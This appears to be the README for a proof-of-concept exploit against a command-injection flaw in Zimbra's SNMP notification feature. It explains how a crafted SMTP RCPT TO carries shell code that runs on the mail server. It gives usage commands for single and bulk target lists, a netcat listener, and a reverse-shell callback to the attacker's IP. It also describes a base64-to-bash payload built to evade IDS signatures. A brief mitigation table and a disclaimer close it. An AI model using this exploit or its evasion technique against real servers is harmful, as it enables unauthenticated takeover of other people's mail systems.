
Zimbra SNMP Notification OS Command Injection — Unauthenticated RCE via SMTP exploit (Poc)
| Field | Value |
|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — Improper Neutralisation of Special Elements used in an OS Command |
| Affected | Zimbra ZCS < 10.1.20 (with zimbra-snmp installed) |
| Fixed in | ZCS 10.1.20 — July 2026 |
| CISA KEV | Added 2026-08-21 (FCEB remediation deadline: 2026-08-24) |
| Auth required | None |
| Execution as | zimbra OS user |
The optional zimbra-snmp package ships a swatchdog rule that tails /var/log/zimbra.log for lines matching:
Service status change: <NAME> changed from <STATE> to <STATE>
When a match is found, swatchdog passes the captured <NAME> field directly to the SNMP notification shell script without any sanitisation.
An unauthenticated attacker can inject a crafted log entry by sending a specially formed SMTP RCPT TO command. Using an RFC 5321 quoted local-part, shell metacharacters — e.g. $(...) — are embedded inside <NAME> and execute when swatchdog processes the resulting log line.
All three conditions must be true on the target for the vulnerability to be exploitable:
zimbra-snmp package is installedsnmp_notify = true)swatchdog service is runningAttacker Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── logs RCPT TO data ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog matches
│ │ pattern, extracts
│ │ $(CMD), executes
│◄─────────── shell callback ───────────────────────────────────────┘
RCPT TO.swatchdog matches the log pattern and extracts the injected $(CMD).CMD as the zimbra OS user.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — one host per line, optional :port, lines starting with # are ignored:
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
| Flag | Long | Default | Description |
|---|---|---|---|
-H | --host | — | Single target hostname or IP |
-f | --file | — | File containing target list |
-p | --port | 587 | Default SMTP port |
-r | --rhost | — | Your IP for the reverse shell callback |
-R | --rport | 4444 | Listener port |
-t | --timeout | 15 | Socket timeout in seconds |
-S | --ssl | off | Direct TLS (auto-enabled on port 465) |
-v | --verbose | off | Print full SMTP dialog |
-L | --logfile | — | Write session log to file |
-h | --help | — | Show help |
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
The reverse shell command is base64-encoded before injection:
echo <b64>|base64 -d|bash
This prevents IDS/IPS from matching plaintext signatures such as /dev/tcp, bash -i, or nc -e. The encoded blob is injected as $(...) inside the quoted local-part of RCPT TO, triggering execution server-side when swatchdog processes the log entry.
| Action | Detail |
|---|---|
| Patch | Upgrade to Zimbra ZCS ≥ 10.1.20 |
| Disable SNMP notify | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| Remove package | apt remove zimbra-snmp / yum remove zimbra-snmp |
| Network controls | Restrict inbound SMTP (25/465/587) to trusted relays where operationally feasible |
This proof-of-concept is released for authorized security testing, academic research, and defensive purposes only.
Running it against systems you do not own or lack explicit written permission to test is illegal.
The author assumes no liability for any misuse or damage caused by this tool.